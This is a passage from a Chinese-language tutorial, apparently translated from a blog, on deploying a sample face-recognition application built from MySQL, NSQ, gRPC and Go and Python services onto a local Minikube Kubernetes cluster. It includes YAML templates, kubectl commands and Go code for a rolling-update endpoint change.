|\n+----+----------+\n+----+----------------+-----------+\n| id | image_name     | person_id |\n+----+----------------+-----------+\n|  1 | hannibal_1.jpg |         3 |\n|  2 | hannibal_2.jpg |         3 |\n+----+----------------+-----------+\n```\n\n脸部识别库返回来自已知人物的图像的名称，其与未知图像中的人物匹配。之后，一个简单的连接查询，就像这样，会返回识别出的人物信息。\n\n```\nselect person.name, person.id from person inner join person_images as pi on person.id = pi.person_id where image_name = 'hannibal_2.jpg';\n```\n\ngRPC 调用会返回人物的 ID，并用于修改待识别图像记录中 `person` 那一列的值。\n\n## NSQ\n\nNSQ 是一个极好的基于 Go 语言的队列。它可伸缩并且在系统上具有最小的占用空间。它还具有消费者用来接收消息的查找服务，以及发送者在发送消息时使用的守护程序。\n\nNSQ 的理念是守护进程应该与发送者应用程序一起运行。这样，发件人只会发送到本地主机。但守护进程连接到查找服务，他们就是这样实现全局队列。\n\n这就意味着，有多少个发送者，有需要部署多少个 NSQ 守护进程。由于守护进程的资源要求很小，不会影响主应用程序的需求。\n\n## 配置\n\n为了尽可能灵活，以及使用 Kubernetes 的 ConfigSet，我在开发中使用 .env 文件来存储配置，如数据库服务的位置或 NSQ 的查找地址。 在生产中，这意味着在 Kubernetes 环境中，我将使用环境变量。\n\n## 人脸识别应用程序总结\n\n这就是我们即将部署的应用程序的架构。它的所有组件都是可变的，只能通过数据库，队列和 gRPC 进行耦合。由于更新机制的工作原因，这在部署分布式应用程序时非常重要。我将在“部署”部分中介绍该部分。\n\n## 在 Kubernetes 中部署应用\n\n### 基础\n\n什么**是** Kubernetes？\n\n我将在这里介绍一些基础知识，但不会过多介绍细节。如果你想了解更多，可阅读的整本书：[Kubernetes Up And Running](http://shop.oreilly.com/product/0636920043874.do)。另外，如果你足够大胆，你可以看看这个文档：[Kubernetes Documentation](https://kubernetes.io/docs/)。\n\nKubernetes 是一个容器化的服务和应用程序管理平台。它容易扩展，可管理一大堆容器，最重要的是，它可以通过基于 yaml 的模板文件高度配置。人们经常将 Kubernetes 与Docker 集群进行比较，但 Kubernetes 确实不止于此！例如：它可以管理不同的容器。你可以使用 Kubernetes 来对LXC 进行管理和编排，同时也可以使用相同的方式管理 Docker。它提供了一个高于管理已部署服务和应用程序集群的层。怎么样？让我们快速浏览一下 Kubernetes 的构建模块吧。\n\n在 Kubernetes 中，您将描述应用程序的期望状态，Kubernetes 会做一些事情，使之达到这个状态。状态可能是部署、暂停、重复两次等等。\n\nKubernetes 的基础知识之一是它为所有组件使用标签和注解。Services，Deployments，ReplicaSets，DaemonSets，一切都能够被标记。考虑以下情况。为了确定哪个 pod 属于哪个应用程序，我们将会使用了一个名为 `app：myapp` 的标签。假设您已部署了此应用程序的两个容器; 如果您从其中一个容器中移除标签 `app`，则 Kubernetes 只会检测到一个标签，因此会启动一个新的 `myapp` 实例。\n\n### Kubernetes Cluster\n\n对于 Kuberenetes 的工作，需要有 Kubernetes 集群的存在。配置集群可能是非常痛苦的，但幸运的是，帮助就在眼前。Minikube 在本地为我们配置一个带有一个节点的集群。AWS 有一个以 Kubernetes 集群形式运行的测试服务，其中您唯一需要做的就是请求节点并定义你的部署。Kubernetes 集群组件的文档在此处：[Kubernetes Cluster Components](https://kubernetes.io/docs/concepts/overview/components/)。\n\n### Nodes\n\n一个节点就是一台工作主机。它可以是任何事物，例如物理机、虚拟机以及各种云服务提供的虚拟资源。\n\n### Pods\n\nPods 是一个逻辑上分组的容器，也就意味着一个 Pod 可以容纳多个容器。一个 Pod 在创建后会获得自己的 DNS 和虚拟 IP 地址，这样Kubernetes 就可以为其平衡流量。你很少需要直接处理容器，即使在调试时（比如查看日志），通常也会调用 `kubectl logs deployment / your-app -f` 而不是查看特定的容器。尽管有可能会调用 `-c container_name`。 `-f` 参数会持续显示日志文件的末尾部分。\n\n### Deployments\n\n在 Kubernetes 中创建任何类型的资源时，它将在后台使用 Deployment。一个 Deployment 对象描述当前应用程序的期望状态。这东西可以用来变换 Pod 或 Service 的状态，更新或推出新版的应用。您不直接控制 ReplicaSet（如稍后所述），但可以控制 Deployment 对象来创建和管理 ReplicaSet。\n\n### Services\n\n默认情况下，Pod 会得到一个 IP 地址。然而，因为 Pods 在 Kubernetes 中是一个不稳定的东西，所以你需要更持久的东西。队列、mysql、内部API、前端，这些需要长时间运行并且需要在一个静态的，不变的IP或最好是 DNS 记录之后。\n\n为此，Kubernetes 提供可定义可访问模式的 Services。负载均衡，简单 IP 或内部 DNS。\n\nKubernetes 如何知道服务是否正确运行？你可以配置运行状况检查和可用性检查。运行状况检查将检查容器是否正在运行，但这并不意味着你的服务正在运行。为此，你需要在您的应用程序中对可用的端点进行可用性检查。\n\n由于 Services 非常重要，我建议你稍后在这里阅读它们：[Services](https://kubernetes.io/docs/concepts/services-networking/service/)。预先提醒，这部分文档内容很多，有 24 个 A4 大小的页面，内容包含网络、服务和发现。但是这对于你是否决定要在生产环境中使用 Kubernetes 是至关重要的。\n\n### DNS / Service Discovery\n\n如果您在集群中创建服务，该服务将获取由特殊的Kubernetes Deployments 对象（被称作为 kube-proxy 和 kube-dns）提供的在 Kubernetes 中的 DNS 记录。这两个对象在集群中提供了服务发现。如果您运行了mysql服务并设置了 `clusterIP：none`，那么集群中的每个人都可以通过 ping `mysql.default.svc.cluster.local` 来访问该服务。 其中：\n\n*   `mysql` – 服务的名称\n*   `default` – 命名空间名称\n*   `svc` – 服务本身\n*   `cluster.local` – 本地集群域名\n\n该域名可以通过自定义来更改。要访问集群外部的服务，必须有 DNS 提供者，再使用Nginx（例如）将IP地址绑定到记录。可以使用以下命令查询服务的公共IP地址：\n\n*   NodePort – `kubectl get -o jsonpath=\"{.spec.ports[0].nodePort}\" services mysql`\n*   LoadBalancer – `kubectl get -o jsonpath=\"{.spec.ports[0].LoadBalancer}\" services mysql`\n\n### Template Files\n\n像 Docker Compose、TerraForm 或其他服务管理工具一样，Kubernetes 也提供了配置模板的基础设施。这意味着你很少需要手工做任何事情。\n\n例如，请看下面使用 yaml 文件来配置 nginx 部署的模板：\n\n```\napiVersion: apps/v1\nkind: Deployment #(1)\nmetadata: #(2)\n    name: nginx-deployment\n    labels: #(3)\n    app: nginx\nspec: #(4)\n    replicas: 3 #(5)\n    selector:\n    matchLabels:\n        app: nginx\n    template:\n    metadata:\n        labels:\n        app: nginx\n    spec:\n        containers: #(6)\n        - name: nginx\n        image: nginx:1.7.9\n        ports:\n        - containerPort: 80\n```\n\n在这个简单的部署中，我们做了以下工作：\n\n*   (1) 使用 `kind` 属性定义模板的类型\n*   (2) 添加可识别此部署的元数据以及使用 label 创建每一个资源 (3)\n*   (4) 然后描述所需要的状态规格。\n*   (5) 对于 nginx 应用程序，包含 3 个 `replicas`\n*   (6) 这是关于容器的模板定义。这里配置的 Pod 包含一个 name 为 nginx 的容器。其中，使用 1.7.9 版本的 nginx 镜像（这个例子中使用的是 Docker），暴露的端口号为：80\n\n\n\n\n### ReplicaSet\n\nReplicaSet 是低级复制管理器。 它确保为应用程序运行正确数量的复制。 但是，当部署处于较高级别，应始终管理 ReplicaSets。你很少需要直接使用 ReplicaSets，除非您有一个需要控制复制细节的特殊案例。\n\n### DaemonSet\n\n还记得我说的Kubernetes是如何持续使用标签的吗？DaemonSet 是一个控制器，用于确保守护程序应用程序始终在具有特定标签的节点上运行。\n\n例如：您希望所有标有 `logger` 或 `mission_critical` 的节点运行记录器/审计服务守护程序。然后你创建一个 DaemonSet，并给它一个名为 `logger` 或 `mission_critical` 的节点选择器。Kubernetes 将寻找具有该标签的节点。始终确保它将有一个守护进程的实例在其上运行。因此，在该节点上运行的每个实例都可以在本地访问该守护进程。\n\n在我的应用程序中，NSQ 守护进程可能是一个 DaemonSet。为了确保它在具有接收器组件的节点上运行，我采用 `receiver` 标记一个节点，并用 `receiver` 应用程序选择器指定一个 DaemonSet。\n\nDaemonSet 具有 ReplicaSet 的所有优点。它是可扩展的并由Kubernetes管理它。这意味着，所有的生命周期事件都由 Kube 处理，确保它永不消亡，并且一旦发生，它将立即被替换。\n\n### Scaling\n\n在 Kubernetes 中做扩展很简单。ReplicaSets 负责管理 Pod 的实例数量，如 nginx 部署中所看到的，使用“replicas：3”设置。我们应该以允许 Kubernetes 运行它的多个副本的方式编写我们的应用程序。\n\n当然这些设置是巨大的。你可以指定哪些复制必须在什么节点上运行，或者在各种等待时间等待实例出现的时间。你可以在这里阅读关于此主题的更多信息：[Horizontal Scaling](https://kubernetes.io/docs/tasks/run-application/horizontal-pod-autoscale/) 和此处：[Interactive Scaling with Kubernetes](https：/ /kubernetes.io/docs/tutorials/kubernetes-basics/scale-interactive/)，当然还有一个 [ReplicaSet](https://kubernetes.io/docs/concepts/workloads/controllers/replicaset/) 控件的详细信息 所有的 scaling 都可以在 Kubernetes 中实现。\n\n### Kubernetes 总结\n\n这是一个处理容器编排的便利工具。 它的基本单位是具有分层的架构的 Pods。顶层是 Deployments，通过它处理所有其他资源。它高度可配置，提供了一个用于所有调用的 API，因此比起运行 `kubectl`，你可以编写自己的逻辑将信息发送到 Kubernetes API。\n\nKubernetes 现在支持所有主要的云提供商，它完全是开源的，随意贡献！如果你想深入了解它的工作方式，请查看代码：[Kubernetes on Github](https://github.com/kubernetes/kubernetes)。\n\n## Minikube\n\n我将使用 [Minikube](https://github.com/kubernetes/minikube/)。Minikube 是一个本地 Kubernetes 集群模拟器。尽管模拟多个节点并不是很好，但如果只是着手去学习并在本地折腾一下的话，这种方式不需要任何的开销，是极好的。Minikube是基于虚拟机的，如果需要的话，可以使用 VirtualBox 等进行微调。\n\n所有我将要使用的 kube 模板文件可以在这里找到：[Kube files](https://github.com/Skarlso/kube-cluster-sample/tree/master/kube_files)。\n\n**注意：**如果稍后想要使用 scaling 但注意到复制总是处于“Pending”状态，请记住 minikube 仅使用单个节点。它可能不允许同一节点上有多个副本，或者只是明显耗尽了资源。您可以使用以下命令检查可用资源：\n\n```\nkubectl get nodes -o yaml\n```\n\n## 创建容器\n\nKubernetes 支持大部分容器。我将要使用 Docker。对于我构建的所有服务，存储库中都包含一个 Dockerfile。我鼓励你去研究它们。他们大多数都很简单。对于 Go 服务，我正在使用最近引入的多阶段构建。Go 服务是基于 Alpine Linux 的。人脸识别服务是 Python实现的。NSQ 和 MySQL 正在使用他们自己的容器。\n\n## 上下文\n\nKubernetes 使用命名空间。如果你没有指定任何命名空间，它将使用 `default` 命名空间。我将永久设置一个上下文以避免污染默认命名空间。 你可以这样做：\n\n```\n❯ kubectl config set-context kube-face-cluster --namespace=face\nContext \"kube-face-cluster\" created.\n```\n\n一旦它创建完毕，你也必须开始使用上下文，如下所示：\n\n```\n❯ kubectl config use-context kube-face-cluster\nSwitched to context \"kube-face-cluster\".\n```\n\n在此之后，所有 `kubectl` 命令将使用命名空间 `face`。\n\n## 部署应用\n\nPods 和 Services 概述：\n\n![kube deployed](https://skarlso.github.io/img/kube_deployed.png)\n\n### MySQL\n\n我要部署的第一个 Service 是我的数据库。\n\n我正在使用位于此处的 Kubernetes 示例 [Kube MySQL](https://kubernetes.io/docs/tasks/run-application/run-single-instance-stateful-application/#deploy-mysql)，它符合我的需求。请注意，该配置文件正在使用明文密码。我将按照此处所述 [Kubernetes Secrets](https://kubernetes.io/docs/concepts/configuration/secret/)做一些安全措施。\n\n如文档中描述的那样，我使用保密的 yaml 在本地创建了一个秘钥文件。\n\n```\napiVersion: v1\nkind: Secret\nmetadata:\n    name: kube-face-secret\ntype: Opaque\ndata:\n    mysql_password: base64codehere\n```\n\n我通过以下命令创建了base64代码：\n\n```\necho -n \"ubersecurepassword\" | base64\n```\n\n这是您将在我的部署yaml文件中看到的内容：\n\n```\n...\n- name: MYSQL_ROOT_PASSWORD\n    valueFrom:\n    secretKeyRef:\n        name: kube-face-secret\n        key: mysql_password\n...\n```\n\n另外值得一提的是：它使用一个 volume 来保存数据库。volume 定义如下：\n\n```\n...\n        volumeMounts:\n        - name: mysql-persistent-storage\n            mountPath: /var/lib/mysql\n...\n        volumes:\n        - name: mysql-persistent-storage\n        persistentVolumeClaim:\n            claimName: mysql-pv-claim\n...\n```\n\n`presistentVolumeClain` 在这里是关键。这告诉 Kubernetes 这个资源需要一个持久的 volume。如何提供它是从用户抽象出来的。你可以确定 Kubernetes 将提供 volume。它与 Pods 类似。要阅读详细信息，请查看此文档：[Kubernetes Persistent Volumes](https://kubernetes.io/docs/concepts/storage/persistent-volumes)。\n\n使用以下命令完成部署 mysql 服务：\n\n```\nkubectl apply -f mysql.yaml\n```\n\n`apply` 还是 `create`？简而言之，`apply` 被认为是声明性的对象配置命令，而 `create` 则是命令式的。这意味着现在“create”通常是针对其中一项任务的，比如运行某些东西或创建 Deployment。而在使用 apply 时，用户不会定义要采取的操作。这将由 Kubernetes 根据集群的当前状态进行定义。因此，当没有名为 `mysql` 的服务时，我调用 `apply -f mysql.yaml`，它会创建服务。再次运行时，Kubernetes 不会做任何事情。但是，如果我再次运行 `create`，它会抛出一个错误，说明服务已经被创建。\n\n有关更多信息，请查看以下文档：[Kubernetes Object Management](https://kubernetes.io/docs/concepts/overview/object-management-kubectl/overview/)，[Imperative Configuration](https：// kubernetes .io / docs / concepts / overview / object-management-kubectl / imperative-config /)，[Declarative Configuration](https://kubernetes.io/docs/concepts/overview/object-management-kubectl/declarative-config/)）。\n\n要查看进度信息，请运行：\n\n```\n# 描述整个进程\nkubectl describe deployment mysql\n# 仅显示 pod\nkubectl get pods -l app=mysql\n```\n\n输出应该与此类似：\n\n```\n...\n    Type           Status  Reason\n    ----           ------  ------\n    Available      True    MinimumReplicasAvailable\n    Progressing    True    NewReplicaSetAvailable\nOldReplicaSets:  <none>\nNewReplicaSet:   mysql-55cd6b9f47 (1/1 replicas created)\n...\n```\n\n或者在 `get pods` 的情况下:\n\n```\nNAME                     READY     STATUS    RESTARTS   AGE\nmysql-78dbbd9c49-k6sdv   1/1       Running   0          18s\n```\n\n要测试实例，请运行以下代码片段：\n\n```\nkubectl run -it --rm --image=mysql:5.6 --restart=Never mysql-client -- mysql -h mysql -pyourpasswordhere\n```\n\n** 需要了解的是 **：如果你现在更改密码，重新应用 yaml 文件更新容器是不够的。由于数据库持续存在，因此密码将不会更改 你必须使用 `kubectl delete -f mysql.yaml` 删除整个部署。\n\n运行 `show databases` 时应该看到以下内容。\n\n```\nIf you don't see a command prompt, try pressing enter.\nmysql>\nmysql>\nmysql> show databases;\n+--------------------+\n| Database           |\n+--------------------+\n| information_schema |\n| kube               |\n| mysql              |\n| performance_schema |\n+--------------------+\n4 rows in set (0.00 sec)\n\nmysql> exit\nBye\n```\n\n你还会注意到我已经在这里安装了一个文件：[Database Setup SQL](https://github.com/Skarlso/kube-cluster-sample/blob/master/database_setup.sql)到容器中。MySQL 容器自动执行这些。该文件将初始化一些数据以及我将要使用的模式。\n\nvolume 定义如下：\n\n```\n    volumeMounts:\n    - name: mysql-persistent-storage\n    mountPath: /var/lib/mysql\n    - name: bootstrap-script\n    mountPath: /docker-entrypoint-initdb.d/database_setup.sql\nvolumes:\n- name: mysql-persistent-storage\n    persistentVolumeClaim:\n    claimName: mysql-pv-claim\n- name: bootstrap-script\n    hostPath:\n    path: /Users/hannibal/golang/src/github.com/Skarlso/kube-cluster-sample/database_setup.sql\n    type: File\n```\n\n要检查引导脚本是否成功，请运行以下命令：\n\n```\n~/golang/src/github.com/Skarlso/kube-cluster-sample/kube_files master*\n❯ kubectl run -it --rm --image=mysql:5.6 --restart=Never mysql-client -- mysql -h mysql -uroot -pyourpasswordhere kube\nIf you don't see a command prompt, try pressing enter.\n\nmysql> show tables;\n+----------------+\n| Tables_in_kube |\n+----------------+\n| images         |\n| person         |\n| person_images  |\n+----------------+\n3 rows in set (0.00 sec)\n\nmysql>\n```\n\n这结束了数据库服务设置。可以使用以下命令查看该服务的日志：\n\n```\nkubectl logs deployment/mysql -f\n```\n\n### NSQ 查找\n\nNSQ 查找将作为内部服务运行，它不需要从外部访问。所以我设置了 `clusterIP：None`，这会告诉 Kubernetes 这项服务是一项无头（headless）的服务。这意味着它不会被负载均衡，并且不会是单一的 IP 服务。DNS 将会基于服务选择器。\n\n我们定义的 NSQ Lookup 选择器是：\n\n```\nselector:\nmatchLabels:\n    app: nsqlookup\n```\n\n因此，内部 DNS 将如下所示：`nsqlookup.default.svc.cluster.local`。\n\n无头服务在这里详细描述：[Headless Service](https://kubernetes.io/docs/concepts/services-networking/service/#headless-services)。\n\n基本上它和 MySQ L一样，只是稍作修改。如前所述，我使用的是 NSQ 自己的 Docker 镜像，名为 `nsqio / nsq`。所有的 nsq 命令都在那里，所以 nsqd 也将使用这个镜像，只是命令有所不同。对于 nsqlookupd，命令是：\n\n```\ncommand: [\"/nsqlookupd\"]\nargs: [\"--broadcast-address=nsqlookup.default.svc.cluster.local\"]\n```\n\n你可能会问什么是 `--broadcast-address`？默认情况下，nsqlookup 将使用 `hostname` 作为广播地址 当消费者运行回调时，它会尝试连接到类似于 `http://nsqlookup-234kf-asdf:4161/lookup?topics=image` 的 url。请注意 `nsqlookup-234kf-asdf` 是容器的主机名。通过将广播地址设置为内部 DNS，回调将为：`http://nsqlookup.default.svc.cluster.local:4161/lookup?topic=images`。这将按预期工作。\n\nNSQ 查找还需要两个端口进行转发：一个用于广播，一个用于 nsqd 回调。这些在 Dockerfile 中公开，然后 在Kubernetes 模板中使用。像这个：\n\n在容器模板中：\n\n```\nports:\n- containerPort: 4160\n    hostPort: 4160\n- containerPort: 4161\n    hostPort: 4161\n```\n\n在服务模板中：\n\n```\nspec:\n    ports:\n    - name: tcp\n    protocol: TCP\n    port: 4160\n    targetPort: 4160\n    - name: http\n    protocol: TCP\n    port: 4161\n    targetPort: 4161\n```\n\nname 是 Kubernetes 需要的。\n\n要创建此服务，我使用与以前相同的命令：\n\n```\nkubectl apply -f nsqlookup.yaml\n```\n\n到这里，有关于 nsqlookupd 的就结束了。\n\n### 接收器\n\n这是一个更复杂的问题。接收器会做三件事情：\n\n*   创建一些 deployments\n*   创建 nsq 守护进程\n*   向公众提供服务\n\n#### Deployments\n\n它创建的第一个 deployment 对象是它自己的。Receiver的容器是 `skarlso / kube-receiver-alpine`。\n\n#### Nsq 守护进程\n\nReceiver 启动一个 nsq 守护进程。如前所述，接收者用它自己运行 nsqd。它这样做可以在本地通信而不是通过网络。通过让接收器执行此操作，它们将在同一节点上结束。\n\nNSQ 守护进程还需要一些调整和参数。\n\n```\nports:\n- containerPort: 4150\n    hostPort: 4150\n- containerPort: 4151\n    hostPort: 4151\nenv:\n- name: NSQLOOKUP_ADDRESS\n    value: nsqlookup.default.svc.cluster.local\n- name: NSQ_BROADCAST_ADDRESS\n    value: nsqd.default.svc.cluster.local\ncommand: [\"/nsqd\"]\nargs: [\"--lookupd-tcp-address=$(NSQLOOKUP_ADDRESS):4160\", \"--broadcast-address=$(NSQ_BROADCAST_ADDRESS)\"]\n```\n\n你可以看到设置了 lookup-tcp-address 和 broadcast-address 这两个参数。查找 tcp 地址是 nsqlookupd 服务的 DNS。广播地址是必要的，就像 nsqlookupd 一样，所以回调工作正常。\n\n#### 面向大众的服务\n\n现在，这是我第一次部署面向公众的服务。这里有两种选择。我可以使用 LoadBalancer，因为这个 API 可以承受很大的负载。如果这将在生产环境部署，那么它应该使用这一个。\n\n我在本地做只部署单个节点的，所以称为“NodePort”就足够了。一个 `NodePort` 在一个静态端口上暴露每个节点 IP 上的服务。如果未指定，它将在 30000-32767 之间的主机上分配一个随机端口。但它也可以被配置为一个特定的端口，在模板文件中使用 `nodePort`。要使用此服务，请使用 `<NodeIP>：<NodePort>`。如果配置了多个节点，则 LoadBalancer 可以将它们复用到单个 IP。\n\n有关更多信息，请查看此文档：[Publishing Service](https://kubernetes.io/docs/concepts/services-networking/service/#publishing-services---service-types)。\n\n综合起来，我们会得到一个接收服务，其模板如下：\n\n```\napiVersion: v1\nkind: Service\nmetadata:\n    name: receiver-service\nspec:\n    ports:\n    - protocol: TCP\n    port: 8000\n    targetPort: 8000\n    selector:\n    app: receiver\n    type: NodePort\n```\n\n对于 8000 上的固定节点端口，必须提供 `nodePort` 的定义：\n\n```\napiVersion: v1\nkind: Service\nmetadata:\n    name: receiver-service\nspec:\n    ports:\n    - protocol: TCP\n    port: 8000\n    targetPort: 8000\n    selector:\n    app: receiver\n    type: NodePort\n    nodePort: 8000\n```\n\n### 图像处理器\n\n图像处理器是我处理传递图像以识别的地方。它应该有权访问 nsqlookupd，mysql 和人脸识别服务的 gRPC 端点。这实际上是相当无聊的服务。事实上，它甚至不是一项服务。它不会公开任何内容，因此它是第一个部署的组件。为简洁起见，以下是整个模板：\n\n```\n---\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n    name: image-processor-deployment\nspec:\n    selector:\n    matchLabels:\n        app: image-processor\n    replicas: 1\n    template:\n    metadata:\n        labels:\n        app: image-processor\n    spec:\n        containers:\n        - name: image-processor\n        image: skarlso/kube-processor-alpine:latest\n        env:\n        - name: MYSQL_CONNECTION\n            value: \"mysql.default.svc.cluster.local\"\n        - name: MYSQL_USERPASSWORD\n            valueFrom:\n            secretKeyRef:\n                name: kube-face-secret\n                key: mysql_userpassword\n        - name: MYSQL_PORT\n            # TIL: 如果这里的 3306 没有引号，kubectl 会出现错误\n            value: \"3306\"\n        - name: MYSQL_DBNAME\n            value: kube\n        - name: NSQ_LOOKUP_ADDRESS\n            value: \"nsqlookup.default.svc.cluster.local:4161\"\n        - name: GRPC_ADDRESS\n            value: \"face-recog.default.svc.cluster.local:50051\"\n```\n\n这个文件中唯一有趣的地方是用于配置应用程序的大量环境属性。请注意 nsqlookupd 地址和 grpc 地址。\n\n要创建此部署，请运行：\n\n```\nkubectl apply -f image_processor.yaml\n```\n\n### 人脸识别\n\n人脸识别别服务是一个简单的，只有图像处理器才需要的服务。它的模板如下：\n\n```\napiVersion: v1\nkind: Service\nmetadata:\n    name: face-recog\nspec:\n    ports:\n    - protocol: TCP\n    port: 50051\n    targetPort: 50051\n    selector:\n    app: face-recog\n    clusterIP: None\n```\n\n更有趣的部分是它需要两个 volume。这两 volume 是 `known_people` 和 `unknown_people`。你能猜到他们将包含什么吗？是的，图像。“known_people” volume 包含与数据库中已知人员关联的所有图像。`unknown_people` volume 将包含所有新图像。这就是我们从接收器发送图像时需要使用的路径; 那就是挂载点所指向的地方，在我的情况下是 `/ unknown_people`。 基本上，路径必须是人脸识别服务可以访问的路径。\n\n现在，通过 Kubernetes 和 Docker部署 volume 很容易。它可以是挂载的 S3 或某种类型的 nfs，也可以是从主机到客户机的本地挂载。也会存在其他可能性。为了简单起见，我将使用本地安装。\n\n安装一个 volume 分两部分完成。首先，Dockerfile 必须指定 volume：\n\n```\nVOLUME [ \"/unknown_people\", \"/known_people\" ]\n```\n\n其次，Kubernetes 模板需要在 MySQL 服务中添加 `volumeMounts`，不同之处在于 `hostPath` 并不是声称的 volume：\n\n```\nvolumeMounts:\n- name: known-people-storage\n    mountPath: /known_people\n- name: unknown-people-storage\n    mountPath: /unknown_people\nvolumes:\n- name: known-people-storage\nhostPath:\n    path: /Users/hannibal/Temp/known_people\n    type: Directory\n- name: unknown-people-storage\nhostPath:\n    path: /Users/hannibal/Temp/\n    type: Directory\n```\n\n我们还需要为人脸识别服务设置 `known_people` 文件夹配置。这是通过环境变量完成的：\n\n```\nenv:\n- name: KNOWN_PEOPLE\n    value: \"/known_people\"\n```\n\n然后 Python 代码将查找图像，如下所示：\n\n```\nknown_people = os.getenv('KNOWN_PEOPLE', 'known_people')\nprint(\"Known people images location is: %s\" % known_people)\nimages = self.image_files_in_folder(known_people)\n```\n\n其中 `image_files_in_folder` 函数如下：\n\n```\ndef image_files_in_folder(self, folder):\n    return [os.path.join(folder, f) for f in os.listdir(folder) if re.match(r'.*\\.(jpg|jpeg|png)', f, flags=re.I)]\n```\n\nNeat.\n\n现在，如果接收方收到一个请求（并将其发送到更远的线路），与下面的请求类似。\n\n```\ncurl -d '{\"path\":\"/unknown_people/unknown220.jpg\"}' http://192.168.99.100:30251/image/post\n```\n\n它会在 `/ unknown_people` 下寻找名为 unknown220.jpg 的图像，在 unknown_folder 中找到与未知图像中的人相对应的图像，并返回匹配图像的名称。\n\n查看日志，你会看到如下内容：\n\n```\n# Receiver\n❯ curl -d '{\"path\":\"/unknown_people/unknown219.jpg\"}' http://192.168.99.100:30251/image/post\ngot path: {Path:/unknown_people/unknown219.jpg}\nimage saved with id: 4\nimage sent to nsq\n\n# Image Processor\n2018/03/26 18:11:21 INF    1 [images/ch] querying nsqlookupd http://nsqlookup.default.svc.cluster.local:4161/lookup?topic=images\n2018/03/26 18:11:59 Got a message: 4\n2018/03/26 18:11:59 Processing image id:  4\n2018/03/26 18:12:00 got person:  Hannibal\n2018/03/26 18:12:00 updating record with person id\n2018/03/26 18:12:00 done\n```\n\n这样，所有服务就部署完成了。\n\n### 前端\n\n最后，还有一个小型的 web 应用程序，它能够方便地展示数据库中的信息。这也是一个面向公众的接收服务，其参数与接收器相同。\n\n它看起来像这样：\n\n![frontend](https://skarlso.github.io/img/kube-frontend.png)\n\n### 总结\n\n我们现在正处于部署一系列服务的阶段。回顾一下我迄今为止使用的命令：\n\n```\nkubectl apply -f mysql.yaml\nkubectl apply -f nsqlookup.yaml\nkubectl apply -f receiver.yaml\nkubectl apply -f image_processor.yaml\nkubectl apply -f face_recognition.yaml\nkubectl apply -f frontend.yaml\n```\n\n由于应用程序不会在启动时分配连接，因此可以按任意顺序排列。（除了 image_processor 的 NSQ 消费者。）\n\n如果没有错误，使用 `kubectl get pods` 查询运行 pod 的 kube 应该显示如下：\n\n```\n❯ kubectl get pods\nNAME                                          READY     STATUS    RESTARTS   AGE\nface-recog-6bf449c6f-qg5tr                    1/1       Running   0          1m\nimage-processor-deployment-6467468c9d-cvx6m   1/1       Running   0          31s\nmysql-7d667c75f4-bwghw                        1/1       Running   0          36s\nnsqd-584954c44c-299dz                         1/1       Running   0          26s\nnsqlookup-7f5bdfcb87-jkdl7                    1/1       Running   0          11s\nreceiver-deployment-5cb4797598-sf5ds          1/1       Running   0          26s\n```\n\n运行中的 `minikube service list`：\n\n```\n❯ minikube service list\n|-------------|----------------------|-----------------------------|\n|  NAMESPACE  |         NAME         |             URL             |\n|-------------|----------------------|-----------------------------|\n| default     | face-recog           | No node port                |\n| default     | kubernetes           | No node port                |\n| default     | mysql                | No node port                |\n| default     | nsqd                 | No node port                |\n| default     | nsqlookup            | No node port                |\n| default     | receiver-service     | http://192.168.99.100:30251 |\n| kube-system | kube-dns             | No node port                |\n| kube-system | kubernetes-dashboard | http://192.168.99.100:30000 |\n|-------------|----------------------|-----------------------------|\n```\n\n### 滚动更新\n\n滚动更新过程中会发生什么？\n\n![kube rotate](https://skarlso.github.io/img/kube_rotate.png)\n\n正如在软件开发过程中发生的那样，系统的某些部分需要/需要进行更改。那么，如果我改变其中一个组件而不影响其他组件，同时保持向后兼容性而不中断用户体验，我们的集群会发生什么？幸运的是 Kubernetes 可以提供帮助。\n\n我诟病的是 API 一次只能处理一个图像。不幸的是，这里没有批量上传选项。\n\n#### 代码\n\n目前，我们有以下处理单个图像的代码段：\n\n```\n// PostImage 处理图像的文章。 将其保存到数据库\n// 并将其发送给 NSQ 以供进一步处理。\nfunc PostImage(w http.ResponseWriter, r *http.Request) {\n...\n}\n\nfunc main() {\n    router := mux.NewRouter()\n    router.HandleFunc(\"/image/post\", PostImage).Methods(\"POST\")\n    log.Fatal(http.ListenAndServe(\":8000\", router))\n}\n```\n\n我们有两种选择：用 `/ images / post` 添加一个新端点，并让客户端使用它，或者修改现有的端点。\n\n新客户端代码的优势在于，如果新端点不可用，它可以退回到提交旧的方式。然而，旧客户端代码没有这个优势，所以我们无法改变我们的代码现在的工作方式。考虑一下：你有90台服务器，并且你做了一个缓慢的滚动更新，在更新的同时一次只取出一台服务器。如果更新持续一分钟左右，整个过程大约需要一个半小时才能完成（不包括任何并行更新）。\n\n在此期间，你的一些服务器将运行新代码，其中一些将运行旧代码。调用是负载均衡的，因此你无法控制哪些服务器会被击中。如果客户试图以新的方式进行调用，但会触及旧服务器，则客户端将失败。客户端可以尝试并回退，但是由于你删除了旧版本，它将不会成功，除非很巧合地命中了运行新代码的服务器，用新代码命中服务器（假设没有设置粘滞会话）。\n\n另外，一旦所有服务器都更新完毕，旧客户端将无法再使用你的服务。\n\n现在，你可以争辩说，你不想永远保留你的代码的旧版本。这在某种意义上是正确的。这就是为什么我们要修改旧代码，只需稍微增加一点就可以调用新代码。这样，一旦所有客户端都被迁移了，代码就可以简单地被删除而不会有任何问题。\n\n#### 新的端点\n\n我们来添加一个新的路径方法：\n\n```\n...\nrouter.HandleFunc(\"/images/post\", PostImages).Methods(\"POST\")\n...\n```\n\n更新旧版本以调用带有修改后版本的新版本，如下所示：\n\n```\n// PostImage 处理图像的文章。 将其保存到数据库\n// 并将其发送给 NSQ 以供进一步处理。\nfunc PostImage(w http.ResponseWriter, r *http.Request) {\n    var p Path\n    err := json.NewDecoder(r.Body).Decode(&p)\n    if err != nil {\n        fmt.Fprintf(w, \"got error while decoding body: %s\", err)\n        return\n    }\n    fmt.Fprintf(w, \"got path: %+v\\n\", p)\n    var ps Paths\n    paths := make([]Path, 0)\n    paths = append(paths, p)\n    ps.Paths = paths\n    var pathsJSON bytes.Buffer\n    err = json.NewEncoder(&pathsJSON).Encode(ps)\n    if err != nil {\n        fmt.Fprintf(w, \"failed to encode paths: %s\", err)\n        return\n    }\n    r.Body = ioutil.NopCloser(&pathsJSON)\n    r.ContentLength = int64(pathsJSON.Len())\n    PostImages(w, r)\n}\n```\n\n那么，命名可能会更好，但你应该得到基本的想法。我正在修改传入的单个路径，将它包装成新的格式并发送给新的端点处理程序。就是这样！ 还有一些修改。要查看它们，请查看此PR：[Rolling 